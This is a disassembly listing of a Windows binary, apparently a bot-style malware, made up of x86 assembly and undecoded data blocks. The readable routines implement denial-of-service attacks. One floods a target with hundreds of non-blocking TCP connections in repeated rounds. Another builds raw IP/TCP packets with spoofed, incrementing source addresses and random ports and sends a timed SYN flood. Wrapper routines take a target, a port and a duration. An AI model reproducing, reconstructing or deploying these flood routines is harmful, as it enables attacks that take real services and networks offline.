		dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h
		dd 0FF7BDCE8h, 575959FFh, 0C50AE890h, 858D022Ch, 0FFFFFE48h
		dd 4415FF50h, 83004C93h, 5575FFF8h, 0FC44858Dh,	9C68FFFFh
		dd 50004371h, 84EDE8h, 0DC7D3900h, 20755959h, 44858D57h
		dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
		dd 0FF5D25E8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h
		dd 0E8C875FFh, 0FFFF7B75h, 90575959h, 2CC4A3E8h, 8D106A02h
		dd 5057E445h, 81A7E8h, 0CC48300h, 0E445C766h, 0FF570002h
		dd 4C930415h, 45896600h, 48858DE6h, 50FFFFFEh, 934415FFh
		dd 358B004Ch, 4270B8h, 89E84589h, 0D6FF087Dh, 0FFF84589h
		dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh
		dd 1C680000h, 0C6000004h, 4CC08005h, 15FF4500h,	4C9304h
		dd 66D47D39h, 4CC082A3h, 1D896600h, 4CC084h, 863D8966h
		dd 0C6004CC0h, 4CC08805h, 1D888000h, 4CC089h, 8A3D8966h
		dd 74004CC0h, 846CE830h, 0D88B0000h, 0E808E3C1h, 8462h
		dd 0E3C1D803h, 8458E808h, 0D8030000h, 0E808E3C1h, 844Eh
		dd 16AD803h, 0C08C1D89h, 0EB5B004Ch, 44B5FF18h,	0E8FFFFFEh
		dd 0FFFF6DCEh, 15FF5059h, 4C9344h, 4CC08CA3h, 0E8458B00h
		dd 4CC090A3h, 841CE800h, 0B9990000h, 100h, 1588F9F7h, 4CC094h
		dd 8409E8h, 0B99900h, 0F7000001h, 951588F9h, 0E8004CC0h
		dd 83F6h, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4CC096h
		dd 9A1D8966h, 42004CC0h, 98158966h, 0E8004CC0h,	83CEh
		dd 0FFB999h, 0F9F70000h, 0C09C6852h, 69E8004Ch,	83000080h
		dd 458D0CC4h, 50106AE4h, 41C6857h, 80680000h, 0FF004CC0h
		dd 15FFFC75h, 4C9368h, 74FFF883h, 845FF08h, 0FFFECAE9h
		dd 0FC75FFFFh, 939C15FFh, 15FF004Ch, 4C9298h, 48858D50h
		dd 0FFFFFFFEh, 68500875h, 437154h, 0FC44858Dh, 68FFFFh
		dd 50000002h, 83FFE8h, 18C48300h, 75DC7D39h, 858D5720h
		dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
		dd 5B3CE8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh,	1FB9E8h
		dd 0C875FF00h, 0FF798CE8h, 575959FFh, 0C2BAE890h, 75FF022Ch
		dd 9C15FFFCh, 8B004C93h, 0D2330845h, 8B3CC06Bh,	0AE8C1C8h
		dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 437108h, 8280E850h
		dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0B7E8FFFFh, 83FFFF5Ah
		dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h,	7907E8C8h
		dd 5959FFFFh, 0C236E857h
		db 2Ch,	2, 90h
byte_413DCB	db 55h			; DATA XREF: sub_401AC7+547Do
		dd 20B8EC8Bh, 0E8000103h, 84C8h, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h
		dd 928C15FFh, 4589004Ch, 40858D08h, 50FFFFFFh, 934415FFh
		dd 0F08B004Ch, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh
		dd 938815FFh, 0C33B004Ch, 7D830674h, 5D75FF08h,	0FF40858Dh
		dd 8D50FFFFh, 0FFFCBC85h, 724468FFh, 0E8500043h, 81C2h
		dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h
		dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF59F9E8h, 14C483FFh
		dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF7849h
		dd 90575959h, 2CC177E8h, 74C33B02h, 0C408B0Ch, 8B008Bh
		dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 7E68h
		dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h
		dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h
		dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h
		dd 1C15FF08h, 46004C92h, 7CC0753Bh, 875FFDAh, 93BC15FFh
		dd 858D004Ch, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 437218h
		dd 80F4E850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h
		dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 2BE8FFFFh
		dd 83FFFF59h, 858D14C4h, 0FFFFFCBCh, 1DA8E850h,	75FF0000h
		dd 777BE8D0h, 5959FFFFh, 0A9E89053h
		db 0C0h, 2Ch, 2
byte_413F57	db 55h			; DATA XREF: sub_401AC7+56C6o
		dd 10B8EC8Bh, 0E8000103h, 833Ch, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h
		dd 0C8DBE890h, 0E8500227h, 80CCh, 6A116A59h, 0FF026A02h
		dd 4C938415h, 33D88B00h, 8D106AFFh, 5057F045h, 7D67E8h
		dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 4415FF50h
		dd 83004C93h, 4589FFF8h, 8D757508h, 0FFFF5085h,	15FF50FFh
		dd 4C9388h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h
		dd 729868FFh, 0E8500043h, 8016h, 390CC483h, 2075E87Dh
		dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh
		dd 0FFFFFECCh, 0FF584DE8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh
		dd 1CCAh, 0E8E075FFh, 0FFFF769Dh, 90565959h, 2CBFCBE8h
		dd 0C408B02h, 3EB008Bh,	8B08458Dh, 0DC7D3900h, 75F44589h
		dd 8014E811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh
		dd 415FFDCh, 39004C93h,	8966DC75h, 37DF245h, 0B8DC7589h
		dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah
		dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h
		dd 7FC6h, 0FFB999h, 0F9F70000h,	0D4753B46h, 0EF359488h
		dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h,	458D5E0Bh
		dd 50106AF0h, 7F98E857h, 0A6A0000h, 0F9F75999h,	2BD4458Bh
		dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4C9368h, 90D875FFh
		dd 25CDF4E8h, 0CE754E02h, 75DC7D39h, 7F68E8BCh,	0B9990000h
		dd 0FFDCh, 5242F9F7h, 930415FFh, 8966004Ch, 0A1EBF245h
		dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 726C68FFh, 0E8500043h
		dd 7EDEh, 390CC483h, 2075E87Dh,	0CC858D57h, 0FFFFFFFCh
		dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5715E8h
		dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh
		dd 0FFFF7565h, 0E8575959h, 22CBE94h
		db 90h
byte_41416D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+4D0Fo
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h
		dd 72C068FFh, 0E8500043h, 7E46h, 0C483F633h, 0F8753918h
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 7BE8FFFFh, 83FFFF56h, 858D14C4h,	0FFFFFBECh
		dd 1AF8E850h, 75FF0000h, 74CBE8F0h, 5959FFFFh, 0F9E89056h
		dd 5F022CBDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414209	proc near		; CODE XREF: ___:004142F2p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4C9304
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_4142C7
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_414254:				; CODE XREF: sub_414209+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41425C:				; CODE XREF: sub_414209+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41427F
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41427F:				; CODE XREF: sub_414209+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_41425C
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41428D:				; CODE XREF: sub_414209+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41428D
		push	64h
		call	near ptr 2670EE1h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142B1:				; CODE XREF: sub_414209+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142B1
		dec	[ebp+arg_4]
		jnz	short loc_414254
		pop	edi
		pop	esi
		pop	ebx


loc_4142C7:				; CODE XREF: sub_414209+3Ej
		xor	eax, eax
		leave
		retn
sub_414209	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8E4
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41BEF9
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BEF9
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414209
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414301
		push	1
		pop	eax


loc_414301:				; CODE XREF: ___:004142FCj
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414310	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401AC7+63A9o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h
		dd 858D5000h, 0FFFFFBECh, 4372EC68h, 0A3E85000h, 3300007Ch
		dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh,	50F475FFh
		dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 54D8E8FFh, 0C483FFFFh
		dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF7328E8h
		dd 565959FFh, 2CBC57E8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143AC	proc near		; CODE XREF: ___:0041469Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C9274
		test	eax, eax
		jz	short loc_4143EC
		xor	eax, eax
		jmp	loc_41465A
; ---------------------------------------------------------------------------


loc_4143EC:				; CODE XREF: sub_4143AC+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C93A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_414652
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4C92E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414648
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4C9304
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4C9304
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4C9304
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4C9304
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27904B1h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27900E8h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DA20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4144D7:				; CODE XREF: sub_4143AC+25Dj
					; sub_4143AC+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C062
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C9304
		mov	[ebp+var_34], ax
		call	sub_41C062
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C062
		or	edi, eax
		push	edi
		call	dword_4C9304
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C9300
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C9304
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CAB0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4C9368
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41461C
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27900E8h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414645
		jl	loc_4144D7
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414645
		jmp	loc_4144D7
; ---------------------------------------------------------------------------


loc_41461C:				; CODE XREF: sub_4143AC+247j
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437314
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415CEE
		add	esp, 10h
		jmp	short loc_414648
; ---------------------------------------------------------------------------


loc_414645:				; CODE XREF: sub_4143AC+25Bj
					; sub_4143AC+269j
		mov	ebx, [ebp+arg_8]


loc_414648:				; CODE XREF: sub_4143AC+78j
					; sub_4143AC+297j
		push	[ebp+var_C]
		call	dword_4C939C
		pop	esi


loc_414652:				; CODE XREF: sub_4143AC+5Bj
		call	dword_4C925C
		mov	eax, ebx


loc_41465A:				; CODE XREF: sub_4143AC+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143AC	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8E4
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BEF9
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BEF9
		mov	edi, eax
		call	sub_41C062
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143AC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146A9
		push	1
		pop	eax


loc_4146A9:				; CODE XREF: ___:004146A4j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4146B8	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401AC7+6D33o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7810E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4C9344h, 5BE850h
		dd 8D500000h, 0FFFC6C85h, 733468FFh, 0E8500043h, 78F6h
		dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh
		dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 2BE8FFFFh,	83FFFF51h
		dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h,	6F7BE8F0h
		dd 5959FFFFh, 0B8AAE856h, 5F90022Ch, 0EC8B555Eh, 98EC81h
		dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh,	0A8658304h
		dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh,	0FFFF7C8Dh
		dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h
		dd 0Ch,	119445C7h, 0C7000000h, 169845h,	45C70000h, 299Ch
		dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h
		dd 0BC45C7h, 89000020h,	5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h
		dd 4D89D045h, 0BFABD8h,	57000001h, 8F3CE8h, 45895900h
		dd 0FF5057FCh, 4C931815h, 0FC75FF00h, 938815FFh, 408B004Ch
		dd 36A530Ch, 8B026Ah, 4589008Bh, 8415FFF4h, 8D004C93h
		dd 5156D84Dh, 6A026Ah, 0FC458950h, 92E415FFh, 0BE004Ch
		dd 56000002h, 745AE8h, 0B83D8B00h, 59004270h, 0FFF84589h
		dd 0F04589D7h, 6808458Bh, 29Ah,	0FF6C8589h, 0C766FFFFh
		dd 0FFFF6885h, 0FF0002FFh, 4C930415h, 85896600h, 0FFFFFF6Ah
		dd 452BD7FFh, 0B9D233F0h, 3E8h,	453BF1F7h, 0CF870F0Ch
		dd 0E8000000h, 77D2h, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h
		dd 18E2C100h, 5589D00Bh, 77B8E8F4h, 8B990000h, 89F9F7CBh
		dd 0ABE8AC55h, 99000077h, 1FA4B9h, 0DC45C600h, 0C6F9F745h
		dd 8904DD45h, 93E8D455h, 66000077h, 0E8E04589h,	778Ah
		dd 59990A6Ah, 8B66F9F7h, 50B09544h, 930415FFh, 6656004Ch
		dd 0FFE24589h, 4C930415h, 45896600h, 0E45D88DEh, 7761E8h
		dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h,	8BE54588h
		dd 4589F445h, 8458BE8h,	8DEC4589h, 0E850DC45h, 0FFFF612Bh
		dd 0E6458966h, 6ADC458Dh, 75FF5014h, 8176E8F8h,	0C4830000h
		dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh
		dd 4C936815h, 0FF1AE900h, 75FFFFFFh, 70CFE8F8h,	0FF590000h
		dd 15FFFC75h, 4C939Ch, 5F58016Ah, 0C3C95B5Eh
dword_414974	dd 81EC8B55h, 440ECh, 8458B00h,	6A575653h, 59F08B68h, 0FDC0BD8Dh
					; DATA XREF: sub_401AC7+534Ao
		dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh
		dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0B83D8BAAh
		dd 0FF004270h, 99E850D7h, 59000076h, 0FF68h, 6A036A00h
		dd 8415FF02h, 83004C93h, 4589FFF8h, 0FF6675FCh,	4C929815h
		dd 858D5000h, 0FFFFFBC0h, 43744C68h, 17E85000h,	83000076h
		dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 4E48E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF6C95h, 0E8535959h, 22CB5C4h, 0CC4D8D90h
		dd 6A51046Ah, 89505302h, 15FFCC75h, 4C92E4h, 75FFF883h
		dd 9815FF66h, 50004C92h, 0FBC0858Dh, 1468FFFFh,	50004374h
		dd 7599E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h
		dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h
		dd 0E8FFFFFDh, 0FFFF4DCAh, 8D14C483h, 0FFFBC085h, 47E850FFh
		dd 0FF000012h, 0FFFF44B5h, 6C17E8FFh, 5959FFFFh, 0B546E853h
		dd 8D90022Ch, 0FFFDC485h, 15FF50FFh, 4C9344h, 75FFF883h
		dd 0C0858D5Eh, 68FFFFFBh, 4373F4h, 7528E850h, 9D390000h
		dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4D5Ah
		dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h
		dd 6BA7E8FFh, 5959FFFFh, 0D5E89053h, 6A022CB4h,	0BC458D10h
		dd 0D9E85053h, 83000071h, 0C7660CC4h, 2BC45h, 415FF53h
		dd 66004C93h, 8DBE4589h, 0FFFDC485h, 15FF50FFh,	4C9344h
		dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h
		dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h
		dd 0FF45D445h, 4C930415h, 509D3900h, 66FFFFFFh,	66D64589h
		dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h
		dd 74B4E82Dh, 0F08B0000h, 0E808E6C1h, 74AAh, 0E6C1F003h
		dd 74A0E808h, 0F0030000h, 0E808E6C1h, 7496h, 16AF003h
		dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF5E19E8h, 0FF5059FFh
		dd 4C934415h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh
		dd 63E81075h, 99000074h, 401B9h, 52F9F700h, 0B5FF06EBh
		dd 0FFFFFF48h, 930415FFh, 8966004Ch, 43E8EA45h,	99000074h
		dd 401B9h, 52F9F700h, 930415FFh, 7868004Ch, 66123456h
		dd 0FFE84589h, 4C930015h, 0EC458900h, 0FE44858Dh, 0D068FFFFh
		dd 500042B0h, 742FE8h, 0C0855900h, 89097459h, 45C6F05Dh
		dd 5CEB02F5h, 0FE44858Dh, 0EC68FFFFh, 500042AEh, 740FE8h
		dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h,	0FE44858Dh
		dd 0E468FFFFh, 500042AEh, 73EFE8h, 0C0855900h, 0E8257459h
		dd 73C6h, 5999036Ah, 5589F9F7h,	73B8E8F0h, 26A0000h, 0F9F75999h
		dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h
		dd 415FF50h, 66004C93h,	8BF64589h, 4589E045h, 0E4458B9Ch
		dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h,	6A545C6h
		dd 930415FFh, 8966004Ch, 458DA645h, 50206A9Ch, 0FF60858Dh
		dd 0E850FFFFh, 7DA8h, 6AE8458Dh, 458D5014h, 99E85080h
		dd 8D00007Dh, 0FFFF6085h, 50346AFFh, 0FF5D2EE8h, 458966FFh
		dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 75E850FFh, 8D00007Dh
		dd 146AE845h, 74858D50h, 50FFFFFFh, 7D63E8h, 8D046A00h
		dd 50538845h, 6FB7E8h, 44C48300h, 0FF60858Dh, 286AFFFFh
		dd 5CE9E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh
		dd 0E850FFFFh, 7D30h, 8D14C483h, 106ABC45h, 858D5350h
		dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4C9368h, 74FFF883h
		dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 939C15FFh,	15FF004Ch
		dd 4C9298h, 0C4858D50h,	0FFFFFFFDh, 68500875h, 4373A4h
		dd 0FBC0858Dh, 68FFFFh,	50000002h, 7327E8h, 18C48300h
		dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4A5Eh
		dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h
		dd 68ABE8FFh, 5959FFFFh, 0D9E89053h, 0FF022CB1h, 15FFFC75h
		dd 4C939Ch, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah
		dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 437354h, 719CE850h
		dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h,	0FFFFFBC0h
		dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h
